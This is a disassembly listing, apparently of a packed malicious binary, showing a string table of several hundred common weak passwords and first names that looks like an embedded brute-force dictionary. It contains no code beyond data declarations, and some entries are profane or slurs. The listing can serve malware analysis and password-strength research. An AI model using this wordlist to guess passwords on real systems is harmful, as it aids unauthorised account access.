aLebesgue	db 'lebesgue',0         ; DATA XREF: .nsp0:0042D174o
		align 4
aLeah		db 'leah',0             ; DATA XREF: .nsp0:0042D170o
		align 4
aLazer		db 'lazer',0            ; DATA XREF: .nsp0:0042D16Co
		align 4
aLazarus	db 'lazarus',0          ; DATA XREF: .nsp0:0042D168o
aLava		db 'lava',0             ; DATA XREF: .nsp0:0042D164o
		align 4
aLaura		db 'laura',0            ; DATA XREF: .nsp0:0042D160o
		align 4
aLaser		db 'laser',0            ; DATA XREF: .nsp0:0042D15Co
		align 4
aLarry		db 'larry',0            ; DATA XREF: .nsp0:0042D158o
		align 4
aLarkin		db 'larkin',0           ; DATA XREF: .nsp0:0042D154o
		align 4
aLara		db 'lara',0             ; DATA XREF: .nsp0:0042D150o
		align 4
aLaptop		db 'laptop',0           ; DATA XREF: .nsp0:0042D14Co
		align 4
aLana		db 'lana',0             ; DATA XREF: .nsp0:0042D148o
		align 4
aLaminati	db 'laminati',0         ; DATA XREF: .nsp0:0042D144o
		align 4
aLambda		db 'lambda',0           ; DATA XREF: .nsp0:0042D140o
		align 10h
aLakers		db 'lakers',0           ; DATA XREF: .nsp0:0042D13Co
		align 4
aLadle		db 'ladle',0            ; DATA XREF: .nsp0:0042D138o
		align 10h
aLadies		db 'ladies',0           ; DATA XREF: .nsp0:0042D134o
		align 4
aKristy		db 'kristy',0           ; DATA XREF: .nsp0:0042D130o
		align 10h
aKristine	db 'kristine',0         ; DATA XREF: .nsp0:0042D12Co
		align 4
aKristin	db 'kristin',0          ; DATA XREF: .nsp0:0042D128o
aKristie	db 'kristie',0          ; DATA XREF: .nsp0:0042D124o
aKristi		db 'kristi',0           ; DATA XREF: .nsp0:0042D120o
		align 4
aKristen	db 'kristen',0          ; DATA XREF: .nsp0:0042D11Co
aKrista		db 'krista',0           ; DATA XREF: .nsp0:0042D118o
		align 4
aKnown		db 'known',0            ; DATA XREF: .nsp0:0042D114o
		align 4
aKnightma	db 'knightma',0         ; DATA XREF: .nsp0:0042D110o
		align 4
aKnight		db 'knight',0           ; DATA XREF: .nsp0:0042D10Co
		align 10h
aKnife		db 'knife',0            ; DATA XREF: .nsp0:0042D108o
		align 4
aKlingon	db 'klingon',0          ; DATA XREF: .nsp0:0042D104o
aKitten		db 'kitten',0           ; DATA XREF: .nsp0:0042D100o
		align 4
aKissmyas	db 'kissmyas',0         ; DATA XREF: .nsp0:0042D0FCo
		align 4
aKiss		db 'kiss',0             ; DATA XREF: .nsp0:0042D0F8o
		align 4
aKirkland	db 'kirkland',0         ; DATA XREF: .nsp0:0042D0F4o
		align 4
aKirk		db 'kirk',0             ; DATA XREF: .nsp0:0042D0F0o
		align 10h
aKing		db 'king',0             ; DATA XREF: .nsp0:0042D0ECo
		align 4
aKimberly	db 'kimberly',0         ; DATA XREF: .nsp0:0042D0E8o
		align 4
aKilo		db 'kilo',0             ; DATA XREF: .nsp0:0042D0E4o
		align 4
aKillthem	db 'killthem',0         ; DATA XREF: .nsp0:0042D0E0o
		align 4
aKill		db 'kill',0             ; DATA XREF: .nsp0:0042D0DCo
		align 10h
aKids		db 'kids',0             ; DATA XREF: .nsp0:0042D0D8o
		align 4
aKeyword	db 'keyword',0          ; DATA XREF: .nsp0:0042D0D4o
aKeyin		db 'keyin',0            ; DATA XREF: .nsp0:0042D0D0o
		align 4
aKeybord	db 'keybord',0          ; DATA XREF: .nsp0:0042D0CCo
aKewl		db 'kewl',0             ; DATA XREF: .nsp0:0042D0C8o
		align 4
aKevin		db 'kevin',0            ; DATA XREF: .nsp0:0042D0C4o
		align 10h
aKerry		db 'kerry',0            ; DATA XREF: .nsp0:0042D0C0o
		align 4
aKerrie		db 'kerrie',0           ; DATA XREF: .nsp0:0042D0BCo
		align 10h
aKerri		db 'kerri',0            ; DATA XREF: .nsp0:0042D0B8o
		align 4
aKernel		db 'kernel',0           ; DATA XREF: .nsp0:0042D0B4o
		align 10h
aKermit		db 'kermit',0           ; DATA XREF: .nsp0:0042D0B0o
		align 4
aKeri		db 'keri',0             ; DATA XREF: .nsp0:0042D0ACo
		align 10h
aKelly		db 'kelly',0            ; DATA XREF: .nsp0:0042D0A8o
		align 4
aKatrina	db 'katrina',0          ; DATA XREF: .nsp0:0042D0A4o
aKatina		db 'katina',0           ; DATA XREF: .nsp0:0042D0A0o
		align 4
aKathy		db 'kathy',0            ; DATA XREF: .nsp0:0042D09Co
		align 10h
aKathrine	db 'kathrine',0         ; DATA XREF: .nsp0:0042D098o
		align 4
aKathleen	db 'kathleen',0         ; DATA XREF: .nsp0:0042D094o
		align 4
aKate		db 'kate',0             ; DATA XREF: .nsp0:0042D090o
		align 10h
aKatana		db 'katana',0           ; DATA XREF: .nsp0:0042D08Co
		align 4
aKarina		db 'karina',0           ; DATA XREF: .nsp0:0042D088o
		align 10h
aKarie		db 'karie',0            ; DATA XREF: .nsp0:0042D084o
		align 4
aKaren		db 'karen',0            ; DATA XREF: .nsp0:0042D080o
		align 10h
aKaka		db 'kaka',0             ; DATA XREF: .nsp0:0042D07Co
		align 4
aJupiter	db 'jupiter',0          ; DATA XREF: .nsp0:0042D078o
aJune		db 'june',0             ; DATA XREF: .nsp0:0042D074o
		align 4
aJuliet		db 'juliet',0           ; DATA XREF: .nsp0:0042D070o
		align 10h
aJulie		db 'julie',0            ; DATA XREF: .nsp0:0042D06Co
		align 4
aJulia		db 'julia',0            ; DATA XREF: .nsp0:0042D068o
		align 10h
aJuicy		db 'juicy',0            ; DATA XREF: .nsp0:0042D064o
		align 4
aJuggle		db 'juggle',0           ; DATA XREF: .nsp0:0042D060o
		align 10h
aJudy		db 'judy',0             ; DATA XREF: .nsp0:0042D05Co
		align 4
aJudith		db 'judith',0           ; DATA XREF: .nsp0:0042D058o
		align 10h
aJoyce		db 'joyce',0            ; DATA XREF: .nsp0:0042D054o
		align 4
aJournal	db 'journal',0          ; DATA XREF: .nsp0:0042D050o
aJoshua		db 'joshua',0           ; DATA XREF: .nsp0:0042D04Co
		align 4
aJoseph		db 'joseph',0           ; DATA XREF: .nsp0:0042D048o
		align 10h
aJohnny		db 'johnny',0           ; DATA XREF: .nsp0:0042D044o
		align 4
aJohndoe	db 'johndoe',0          ; DATA XREF: .nsp0:0042D040o
aJohn		db 'john',0             ; DATA XREF: .nsp0:0042D03Co
		align 4
aJody		db 'jody',0             ; DATA XREF: .nsp0:0042D038o
		align 10h
aJoanne		db 'joanne',0           ; DATA XREF: .nsp0:0042D034o
		align 4
aJixian		db 'jixian',0           ; DATA XREF: .nsp0:0042D030o
		align 10h
aJill		db 'jill',0             ; DATA XREF: .nsp0:0042D02Co
		align 4
aJewelry	db 'jewelry',0          ; DATA XREF: .nsp0:0042D028o
aJester		db 'jester',0           ; DATA XREF: .nsp0:0042D024o
		align 4
aJessica	db 'jessica',0          ; DATA XREF: .nsp0:0042D020o
aJerusale	db 'jerusale',0         ; DATA XREF: .nsp0:0042D01Co
		align 4
aJerry		db 'jerry',0            ; DATA XREF: .nsp0:0042D018o
		align 4
aJenny		db 'jenny',0            ; DATA XREF: .nsp0:0042D014o
		align 4
aJennifer	db 'jennifer',0         ; DATA XREF: .nsp0:0042D010o
		align 4
aJenni		db 'jenni',0            ; DATA XREF: .nsp0:0042D00Co
		align 10h
aJeff		db 'jeff',0             ; DATA XREF: .nsp0:0042D008o
		align 4
aJeanne		db 'jeanne',0           ; DATA XREF: .nsp0:0042D004o
		align 10h
aJean		db 'jean',0             ; DATA XREF: .nsp0:0042D000o
		align 4
aJazz		db 'jazz',0             ; DATA XREF: .nsp0:0042CFFCo
		align 10h
aJava		db 'java',0             ; DATA XREF: .nsp0:0042CFF8o
		align 4
aJasmin		db 'jasmin',0           ; DATA XREF: .nsp0:0042CFF4o
		align 10h
aJapan		db 'japan',0            ; DATA XREF: .nsp0:0042CFF0o
		align 4
aJanie		db 'janie',0            ; DATA XREF: .nsp0:0042CFECo
		align 10h
aJanice		db 'janice',0           ; DATA XREF: .nsp0:0042CFE8o
		align 4
aJanet		db 'janet',0            ; DATA XREF: .nsp0:0042CFE4o
		align 10h
aJane		db 'jane',0             ; DATA XREF: .nsp0:0042CFE0o
		align 4
aJail		db 'jail',0             ; DATA XREF: .nsp0:0042CFDCo
		align 10h
aJackie		db 'jackie',0           ; DATA XREF: .nsp0:0042CFD8o
		align 4
aIsis		db 'isis',0             ; DATA XREF: .nsp0:0042CFD4o
		align 10h
aIrishman	db 'irishman',0         ; DATA XREF: .nsp0:0042CFD0o
		align 4
aIrene		db 'irene',0            ; DATA XREF: .nsp0:0042CFCCo
		align 4
aInvent		db 'invent',0           ; DATA XREF: .nsp0:0042CFC8o
		align 4
aInteger	db 'integer',0          ; DATA XREF: .nsp0:0042CFC4o
aInside		db 'inside',0           ; DATA XREF: .nsp0:0042CFC0o
		align 4
aInput		db 'input',0            ; DATA XREF: .nsp0:0042CFBCo
		align 4
aInnocuou	db 'innocuou',0         ; DATA XREF: .nsp0:0042CFB8o
		align 10h
aInna		db 'inna',0             ; DATA XREF: .nsp0:0042CFB4o
		align 4
aIngrid		db 'ingrid',0           ; DATA XREF: .nsp0:0042CFB0o
		align 10h
aIngress	db 'ingress',0          ; DATA XREF: .nsp0:0042CFACo
aIngres		db 'ingres',0           ; DATA XREF: .nsp0:0042CFA8o
		align 10h
aIndians	db 'indians',0          ; DATA XREF: .nsp0:0042CFA4o
aIndiana	db 'indiana',0          ; DATA XREF: .nsp0:0042CFA0o
aIndian		db 'indian',0           ; DATA XREF: .nsp0:0042CF9Co
		align 4
aIndia		db 'india',0            ; DATA XREF: .nsp0:0042CF98o
		align 10h
aInclude	db 'include',0          ; DATA XREF: .nsp0:0042CF94o
aImperial	db 'imperial',0         ; DATA XREF: .nsp0:0042CF90o
		align 4
aImmortal	db 'immortal',0         ; DATA XREF: .nsp0:0042CF8Co
		align 10h
aImbrogli	db 'imbrogli',0         ; DATA XREF: .nsp0:0042CF88o
		align 4
aImage		db 'image',0            ; DATA XREF: .nsp0:0042CF84o
		align 4
aIllumina	db 'illumina',0         ; DATA XREF: .nsp0:0042CF80o
		align 10h
aIcecream	db 'icecream',0         ; DATA XREF: .nsp0:0042CF7Co
		align 4
aHypertxt	db 'hypertxt',0         ; DATA XREF: .nsp0:0042CF78o
		align 4
aHyper		db 'hyper',0            ; DATA XREF: .nsp0:0042CF74o
		align 10h
aHydrogen	db 'hydrogen',0         ; DATA XREF: .nsp0:0042CF70o
		align 4
aHutchins	db 'hutchins',0         ; DATA XREF: .nsp0:0042CF6Co
		align 4
aHunter		db 'hunter',0           ; DATA XREF: .nsp0:0042CF68o
		align 10h
aHunt		db 'hunt',0             ; DATA XREF: .nsp0:0042CF64o
		align 4
aHttp_0		db 'http',0             ; DATA XREF: .nsp0:0042CF60o
		align 10h
aHotel		db 'hotel',0            ; DATA XREF: .nsp0:0042CF5Co
		align 4
aHotdog		db 'hotdog',0           ; DATA XREF: .nsp0:0042CF58o
		align 10h
aHost		db 'host',0             ; DATA XREF: .nsp0:0042CF54o
		align 4
aHorus		db 'horus',0            ; DATA XREF: .nsp0:0042CF50o
		align 10h
aHorse		db 'horse',0            ; DATA XREF: .nsp0:0042CF4Co
		align 4
aHorror		db 'horror',0           ; DATA XREF: .nsp0:0042CF48o
		align 10h
aHorrible	db 'horrible',0         ; DATA XREF: .nsp0:0042CF44o
		align 4
aHorny		db 'horny',0            ; DATA XREF: .nsp0:0042CF40o
		align 4
aHooters	db 'hooters',0          ; DATA XREF: .nsp0:0042CF3Co
aHooker		db 'hooker',0           ; DATA XREF: .nsp0:0042CF38o
		align 4
aHoney		db 'honey',0            ; DATA XREF: .nsp0:0042CF34o
		align 4
aHomework	db 'homework',0         ; DATA XREF: .nsp0:0042CF30o
		align 4
aHomer		db 'homer',0            ; DATA XREF: .nsp0:0042CF2Co
		align 10h
aHomepage	db 'homepage',0         ; DATA XREF: .nsp0:0042CF28o
		align 4
aHollywoo	db 'hollywoo',0         ; DATA XREF: .nsp0:0042CF24o
		align 4
aHolly		db 'holly',0            ; DATA XREF: .nsp0:0042CF20o
		align 10h
aHole		db 'hole',0             ; DATA XREF: .nsp0:0042CF1Co
		align 4
aHits		db 'hits',0             ; DATA XREF: .nsp0:0042CF18o
		align 10h
aHitler		db 'hitler',0           ; DATA XREF: .nsp0:0042CF14o
		align 4
aHighland	db 'highland',0         ; DATA XREF: .nsp0:0042CF10o
		align 4
aHigh		db 'high',0             ; DATA XREF: .nsp0:0042CF0Co
		align 4
aHidden		db 'hidden',0           ; DATA XREF: .nsp0:0042CF08o
		align 4
aHibernia	db 'hibernia',0         ; DATA XREF: .nsp0:0042CF04o
		align 10h
aHiawatha	db 'hiawatha',0         ; DATA XREF: .nsp0:0042CF00o
		align 4
aHexadeci	db 'hexadeci',0         ; DATA XREF: .nsp0:0042CEFCo
		align 4
aHewlett	db 'hewlett',0          ; DATA XREF: .nsp0:0042CEF8o
aHeroin		db 'heroin',0           ; DATA XREF: .nsp0:0042CEF4o
		align 4
aHero		db 'hero',0             ; DATA XREF: .nsp0:0042CEF0o
		align 10h
aHerbert	db 'herbert',0          ; DATA XREF: .nsp0:0042CEECo
aHerb		db 'herb',0             ; DATA XREF: .nsp0:0042CEE8o
		align 10h
aHelp		db 'help',0             ; DATA XREF: .nsp0:0042CEE4o
		align 4
aHello		db 'hello',0            ; DATA XREF: .nsp0:0042CEE0o
		align 10h
aHell		db 'hell',0             ; DATA XREF: .nsp0:0042CEDCo
		align 4
aHeinlein	db 'heinlein',0         ; DATA XREF: .nsp0:0042CED8o
		align 4
aHeidi		db 'heidi',0            ; DATA XREF: .nsp0:0042CED4o
		align 4
aHebrides	db 'hebrides',0         ; DATA XREF: .nsp0:0042CED0o
		align 4
aHeather	db 'heather',0          ; DATA XREF: .nsp0:0042CECCo
aHeathen	db 'heathen',0          ; DATA XREF: .nsp0:0042CEC8o
aHeat		db 'heat',0             ; DATA XREF: .nsp0:0042CEC4o
		align 10h
aHeadbang	db 'headbang',0         ; DATA XREF: .nsp0:0042CEC0o
		align 4
aHead		db 'head',0             ; DATA XREF: .nsp0:0042CEBCo
		align 4
aHawaii		db 'hawaii',0           ; DATA XREF: .nsp0:0042CEB8o
		align 4
aHaven		db 'haven',0            ; DATA XREF: .nsp0:0042CEB4o
		align 4
aHate		db 'hate',0             ; DATA XREF: .nsp0:0042CEB0o
		align 4
aHarvey		db 'harvey',0           ; DATA XREF: .nsp0:0042CEACo
		align 4
aHarold		db 'harold',0           ; DATA XREF: .nsp0:0042CEA8o
		align 4
aHarmony	db 'harmony',0          ; DATA XREF: .nsp0:0042CEA4o
aHarddriv	db 'harddriv',0         ; DATA XREF: .nsp0:0042CEA0o
		align 10h
aHardcore	db 'hardcore',0         ; DATA XREF: .nsp0:0042CE9Co
		align 4
aHard		db 'hard',0             ; DATA XREF: .nsp0:0042CE98o
		align 4
aHappenin	db 'happenin',0         ; DATA XREF: .nsp0:0042CE94o
		align 10h
aHandjob	db 'handjob',0          ; DATA XREF: .nsp0:0042CE90o
aHandily	db 'handily',0          ; DATA XREF: .nsp0:0042CE8Co
aHandel		db 'handel',0           ; DATA XREF: .nsp0:0042CE88o
		align 4
aHamster	db 'hamster',0          ; DATA XREF: .nsp0:0042CE84o
aHamlet		db 'hamlet',0           ; DATA XREF: .nsp0:0042CE80o
		align 4
aHallowee	db 'hallowee',0         ; DATA XREF: .nsp0:0042CE7Co
		align 4
aHair		db 'hair',0             ; DATA XREF: .nsp0:0042CE78o
		align 4
aHagar		db 'hagar',0            ; DATA XREF: .nsp0:0042CE74o
		align 4
aHacked		db 'hacked',0           ; DATA XREF: .nsp0:0042CE70o
		align 4
aHack		db 'hack',0             ; DATA XREF: .nsp0:0042CE6Co
		align 4
aGuntis		db 'guntis',0           ; DATA XREF: .nsp0:0042CE68o
		align 4
aGumption	db 'gumption',0         ; DATA XREF: .nsp0:0042CE64o
		align 4
aGuitar		db 'guitar',0           ; DATA XREF: .nsp0:0042CE60o
		align 10h
aGuess		db 'guess',0            ; DATA XREF: .nsp0:0042CE5Co
		align 4
aGucci		db 'gucci',0            ; DATA XREF: .nsp0:0042CE58o
		align 10h
aGuardian	db 'guardian',0         ; DATA XREF: .nsp0:0042CE54o
		align 4
aGryphon	db 'gryphon',0          ; DATA XREF: .nsp0:0042CE50o
aGroup		db 'group',0            ; DATA XREF: .nsp0:0042CE4Co
		align 4
aGreen		db 'green',0            ; DATA XREF: .nsp0:0042CE48o
		align 4
aGreat		db 'great',0            ; DATA XREF: .nsp0:0042CE44o
		align 4
aGrant		db 'grant',0            ; DATA XREF: .nsp0:0042CE40o
		align 4
aGrand		db 'grand',0            ; DATA XREF: .nsp0:0042CE3Co
		align 4
aGrahm		db 'grahm',0            ; DATA XREF: .nsp0:0042CE38o
		align 4
aGraham		db 'graham',0           ; DATA XREF: .nsp0:0042CE34o
		align 4
aGrades		db 'grades',0           ; DATA XREF: .nsp0:0042CE30o
		align 4
aGovermen	db 'govermen',0         ; DATA XREF: .nsp0:0042CE2Co
		align 10h
aGouge		db 'gouge',0            ; DATA XREF: .nsp0:0042CE28o
		align 4
aGosling	db 'gosling',0          ; DATA XREF: .nsp0:0042CE24o
aGorges		db 'gorges',0           ; DATA XREF: .nsp0:0042CE20o
		align 4
aGorgeous	db 'gorgeous',0         ; DATA XREF: .nsp0:0042CE1Co
		align 4
aGood		db 'good',0             ; DATA XREF: .nsp0:0042CE18o
		align 4
aGolfer		db 'golfer',0           ; DATA XREF: .nsp0:0042CE14o
		align 4
aGolf		db 'golf',0             ; DATA XREF: .nsp0:0042CE10o
		align 4
aGolden		db 'golden',0           ; DATA XREF: .nsp0:0042CE0Co
		align 4
aGold		db 'gold',0             ; DATA XREF: .nsp0:0042CE08o
		align 4
aGlacier	db 'glacier',0          ; DATA XREF: .nsp0:0042CE04o
aGirl		db 'girl',0             ; DATA XREF: .nsp0:0042CE00o
		align 4
aGinger		db 'ginger',0           ; DATA XREF: .nsp0:0042CDFCo
		align 4
aGina		db 'gina',0             ; DATA XREF: .nsp0:0042CDF8o
		align 4
aGigabyte	db 'gigabyte',0         ; DATA XREF: .nsp0:0042CDF4o
		align 4
aGibson		db 'gibson',0           ; DATA XREF: .nsp0:0042CDF0o
		align 10h
aGhost		db 'ghost',0            ; DATA XREF: .nsp0:0042CDECo
		align 4
aGertrude	db 'gertrude',0         ; DATA XREF: .nsp0:0042CDE8o
		align 4
aGerm		db 'germ',0             ; DATA XREF: .nsp0:0042CDE4o
		align 4
aGeorge		db 'george',0           ; DATA XREF: .nsp0:0042CDE0o
		align 4
aGauss		db 'gauss',0            ; DATA XREF: .nsp0:0042CDDCo
		align 4
aGatt		db 'gatt',0             ; DATA XREF: .nsp0:0042CDD8o
		align 4
aGatherin	db 'gatherin',0         ; DATA XREF: .nsp0:0042CDD4o
		align 10h
aGateway	db 'gateway',0          ; DATA XREF: .nsp0:0042CDD0o
aGarfield	db 'garfield',0         ; DATA XREF: .nsp0:0042CDCCo
		align 4
aGardner	db 'gardner',0          ; DATA XREF: .nsp0:0042CDC8o
aGames		db 'games',0            ; DATA XREF: .nsp0:0042CDC4o
		align 4
aGabriel	db 'gabriel',0          ; DATA XREF: .nsp0:0042CDC0o
aFungible	db 'fungible',0         ; DATA XREF: .nsp0:0042CDBCo
		align 4
aFunction	db 'function',0         ; DATA XREF: .nsp0:0042CDB8o
		align 4
aFudge		db 'fudge',0            ; DATA XREF: .nsp0:0042CDB4o
		align 4
aFuckyou	db 'fuckyou',0          ; DATA XREF: .nsp0:0042CDB0o
aFuckme		db 'fuckme',0           ; DATA XREF: .nsp0:0042CDACo
		align 4
aFucking	db 'fucking',0          ; DATA XREF: .nsp0:0042CDA8o
aFucker		db 'fucker',0           ; DATA XREF: .nsp0:0042CDA4o
		align 4
aFuck		db 'fuck',0             ; DATA XREF: .nsp0:0042CDA0o
		align 4
aFryguy		db 'fryguy',0           ; DATA XREF: .nsp0:0042CD9Co
		align 4
aFrog		db 'frog',0             ; DATA XREF: .nsp0:0042CD98o
		align 4
aFrighten	db 'frighten',0         ; DATA XREF: .nsp0:0042CD94o
		align 10h
aFriends	db 'friends',0          ; DATA XREF: .nsp0:0042CD90o
aFriend		db 'friend',0           ; DATA XREF: .nsp0:0042CD8Co
		align 10h
aFriday		db 'friday',0           ; DATA XREF: .nsp0:0042CD88o
		align 4
aFrench		db 'french',0           ; DATA XREF: .nsp0:0042CD84o
		align 10h
aFreedom	db 'freedom',0          ; DATA XREF: .nsp0:0042CD80o
aFree		db 'free',0             ; DATA XREF: .nsp0:0042CD7Co
		align 10h
aFred		db 'fred',0             ; DATA XREF: .nsp0:0042CD78o
		align 4
aFreak		db 'freak',0            ; DATA XREF: .nsp0:0042CD74o
		align 10h
aFrank		db 'frank',0            ; DATA XREF: .nsp0:0042CD70o
		align 4
aFrance		db 'france',0           ; DATA XREF: .nsp0:0042CD6Co
		align 10h
aFoxtrot	db 'foxtrot',0          ; DATA XREF: .nsp0:0042CD68o
aFourier	db 'fourier',0          ; DATA XREF: .nsp0:0042CD64o
aForsythe	db 'forsythe',0         ; DATA XREF: .nsp0:0042CD60o
		align 4
aFornicat	db 'fornicat',0         ; DATA XREF: .nsp0:0042CD5Co
		align 4
aFormat		db 'format',0           ; DATA XREF: .nsp0:0042CD58o
		align 10h
aForm		db 'form',0             ; DATA XREF: .nsp0:0042CD54o
		align 4
aForever	db 'forever',0          ; DATA XREF: .nsp0:0042CD50o
aForesigh	db 'foresigh',0         ; DATA XREF: .nsp0:0042CD4Co
		align 4
aFord		db 'ford',0             ; DATA XREF: .nsp0:0042CD48o
		align 4
aForce		db 'force',0            ; DATA XREF: .nsp0:0042CD44o
		align 4
aFootball	db 'football',0         ; DATA XREF: .nsp0:0042CD40o
		align 4
aFoolproo	db 'foolproo',0         ; DATA XREF: .nsp0:0042CD3Co
		align 4
aFool		db 'fool',0             ; DATA XREF: .nsp0:0042CD38o
		align 4
aFood		db 'food',0             ; DATA XREF: .nsp0:0042CD34o
		align 4
aFlowers	db 'flowers',0          ; DATA XREF: .nsp0:0042CD30o
aFlower		db 'flower',0           ; DATA XREF: .nsp0:0042CD2Co
		align 4
aFlorida	db 'florida',0          ; DATA XREF: .nsp0:0042CD28o
aFloat		db 'float',0            ; DATA XREF: .nsp0:0042CD24o
		align 4
aFlakes		db 'flakes',0           ; DATA XREF: .nsp0:0042CD20o
		align 4
aFishers	db 'fishers',0          ; DATA XREF: .nsp0:0042CD1Co
aFirewall	db 'firewall',0         ; DATA XREF: .nsp0:0042CD18o
		align 10h
aFire		db 'fire',0             ; DATA XREF: .nsp0:0042CD14o
		align 4
aFinite		db 'finite',0           ; DATA XREF: .nsp0:0042CD10o
		align 10h
aFile		db 'file',0             ; DATA XREF: sub_40CE55+1D0Fo
					; sub_40CE55+1D85o ...
		align 4
aFight		db 'fight',0            ; DATA XREF: .nsp0:0042CD08o
		align 10h
aField		db 'field',0            ; DATA XREF: .nsp0:0042CD04o
		align 4
aFidelity	db 'fidelity',0         ; DATA XREF: .nsp0:0042CD00o
		align 4
aFerrari	db 'ferrari',0          ; DATA XREF: .nsp0:0042CCFCo
aFermat		db 'fermat',0           ; DATA XREF: .nsp0:0042CCF8o
		align 4
aFender		db 'fender',0           ; DATA XREF: .nsp0:0042CCF4o
		align 4
aFelicia	db 'felicia',0          ; DATA XREF: .nsp0:0042CCF0o
aFeds		db 'feds',0             ; DATA XREF: .nsp0:0042CCECo
		align 4
aFear		db 'fear',0             ; DATA XREF: .nsp0:0042CCE8o
		align 4
aFast		db 'fast',0             ; DATA XREF: .nsp0:0042CCE4o
		align 4
aFart		db 'fart',0             ; DATA XREF: .nsp0:0042CCE0o
		align 4
aFaraday	db 'faraday',0          ; DATA XREF: .nsp0:0042CCDCo
aFarad		db 'farad',0            ; DATA XREF: .nsp0:0042CCD8o
		align 4
aFamily		db 'family',0           ; DATA XREF: .nsp0:0042CCD4o
		align 4
aFalse		db 'false',0            ; DATA XREF: .nsp0:0042CCD0o
		align 4
aFalcon		db 'falcon',0           ; DATA XREF: .nsp0:0042CCCCo
		align 4
aFaith		db 'faith',0            ; DATA XREF: .nsp0:0042CCC8o
		align 4
aFairway	db 'fairway',0          ; DATA XREF: .nsp0:0042CCC4o
aExtensio	db 'extensio',0         ; DATA XREF: .nsp0:0042CCC0o
		align 4
aExplosiv	db 'explosiv',0         ; DATA XREF: .nsp0:0042CCBCo
		align 4
aExplorer	db 'explorer',0         ; DATA XREF: .nsp0:0042CCB8o
		align 10h
aExplore	db 'explore',0          ; DATA XREF: .nsp0:0042CCB4o
aExplode	db 'explode',0          ; DATA XREF: .nsp0:0042CCB0o
aExpert		db 'expert',0           ; DATA XREF: .nsp0:0042CCACo
		align 4
aEvelyn		db 'evelyn',0           ; DATA XREF: .nsp0:0042CCA8o
		align 10h
aEuclid		db 'euclid',0           ; DATA XREF: .nsp0:0042CCA4o
		align 4
aEternity	db 'eternity',0         ; DATA XREF: .nsp0:0042CCA0o
		align 4
aEstate		db 'estate',0           ; DATA XREF: .nsp0:0042CC9Co
		align 4
aEstablis	db 'establis',0         ; DATA XREF: .nsp0:0042CC98o
		align 4
aErsatz		db 'ersatz',0           ; DATA XREF: .nsp0:0042CC94o
		align 10h
aErotic		db 'erotic',0           ; DATA XREF: .nsp0:0042CC90o
		align 4
aErin		db 'erin',0             ; DATA XREF: .nsp0:0042CC8Co
		align 10h
aErika		db 'erika',0            ; DATA XREF: .nsp0:0042CC88o
		align 4
aErica		db 'erica',0            ; DATA XREF: .nsp0:0042CC84o
		align 10h
aEric		db 'eric',0             ; DATA XREF: .nsp0:0042CC80o
		align 4
aErenity	db 'erenity',0          ; DATA XREF: .nsp0:0042CC7Co
aEnzyme		db 'enzyme',0           ; DATA XREF: .nsp0:0042CC78o
		align 4
aEnterpri	db 'enterpri',0         ; DATA XREF: .nsp0:0042CC74o
		align 4
aEnter		db 'enter',0            ; DATA XREF: .nsp0:0042CC70o
		align 4
aEnglish	db 'english',0          ; DATA XREF: .nsp0:0042CC6Co
aEngland	db 'england',0          ; DATA XREF: .nsp0:0042CC68o
aEngineer	db 'engineer',0         ; DATA XREF: .nsp0:0042CC64o
		align 4
aEngine		db 'engine',0           ; DATA XREF: .nsp0:0042CC60o
		align 10h
aEnemy		db 'enemy',0            ; DATA XREF: .nsp0:0042CC5Co
		align 4
aEmmanuel	db 'emmanuel',0         ; DATA XREF: .nsp0:0042CC58o
		align 4
aEmily		db 'emily',0            ; DATA XREF: .nsp0:0042CC54o
		align 4
aEmerald	db 'emerald',0          ; DATA XREF: .nsp0:0042CC50o
aEmail		db 'email',0            ; DATA XREF: .nsp0:0042CC4Co
		align 4
aEllen		db 'ellen',0            ; DATA XREF: .nsp0:0042CC48o
		align 4
aElizabet	db 'elizabet',0         ; DATA XREF: .nsp0:0042CC44o
		align 10h
aElephant	db 'elephant',0         ; DATA XREF: .nsp0:0042CC40o
		align 4
aElectron	db 'electron',0         ; DATA XREF: .nsp0:0042CC3Co
		align 4
aElanor		db 'elanor',0           ; DATA XREF: .nsp0:0042CC38o
		align 10h
aElaine		db 'elaine',0           ; DATA XREF: .nsp0:0042CC34o
		align 4
aEinstein	db 'einstein',0         ; DATA XREF: .nsp0:0042CC30o
		align 4
aEinsiein	db 'einsiein',0         ; DATA XREF: .nsp0:0042CC2Co
		align 10h
aEileen		db 'eileen',0           ; DATA XREF: .nsp0:0042CC28o
		align 4
aEiderdow	db 'eiderdow',0         ; DATA XREF: .nsp0:0042CC24o
		align 4
aEgghead	db 'egghead',0          ; DATA XREF: .nsp0:0042CC20o
aEdwina		db 'edwina',0           ; DATA XREF: .nsp0:0042CC1Co
		align 4
aEdwin		db 'edwin',0            ; DATA XREF: .nsp0:0042CC18o
		align 4
aEducatio	db 'educatio',0         ; DATA XREF: .nsp0:0042CC14o
		align 4
aEducation	db 'education',0        ; DATA XREF: .nsp0:0042CC10o
		align 4
aEdition	db 'edition',0          ; DATA XREF: .nsp0:0042CC0Co
aEdit		db 'edit',0             ; DATA XREF: .nsp0:0042CC08o
		align 4
aEdinburg	db 'edinburg',0         ; DATA XREF: .nsp0:0042CC04o
		align 10h
aEdges		db 'edges',0            ; DATA XREF: .nsp0:0042CC00o
		align 4
aEddie		db 'eddie',0            ; DATA XREF: .nsp0:0042CBFCo
		align 10h
aEcho		db 'echo',0             ; DATA XREF: .nsp0:0042CBF8o
		align 4
aEatme		db 'eatme',0            ; DATA XREF: .nsp0:0042CBF4o
		align 10h
aEasy		db 'easy',0             ; DATA XREF: .nsp0:0042CBF0o
		align 4
aEasier		db 'easier',0           ; DATA XREF: .nsp0:0042CBECo
		align 10h
aEarth		db 'earth',0            ; DATA XREF: .nsp0:0042CBE8o
		align 4
aEagle		db 'eagle',0            ; DATA XREF: .nsp0:0042CBE4o
		align 10h
aEager		db 'eager',0            ; DATA XREF: .nsp0:0042CBE0o
		align 4
aDyke		db 'dyke',0             ; DATA XREF: .nsp0:0042CBDCo
		align 10h
aDungeon	db 'dungeon',0          ; DATA XREF: .nsp0:0042CBD8o
aDuncan		db 'duncan',0           ; DATA XREF: .nsp0:0042CBD4o
		align 10h
aDulce		db 'dulce',0            ; DATA XREF: .nsp0:0042CBD0o
		align 4
aDuke		db 'duke',0             ; DATA XREF: .nsp0:0042CBCCo
		align 10h
aDuelist	db 'duelist',0          ; DATA XREF: .nsp0:0042CBC8o
aDude		db 'dude',0             ; DATA XREF: .nsp0:0042CBC4o
		align 10h
aDuck		db 'duck',0             ; DATA XREF: .nsp0:0042CBC0o
		align 4
aDrought	db 'drought',0          ; DATA XREF: .nsp0:0042CBBCo
aDrive		db 'drive',0            ; DATA XREF: .nsp0:0042CBB8o
		align 4
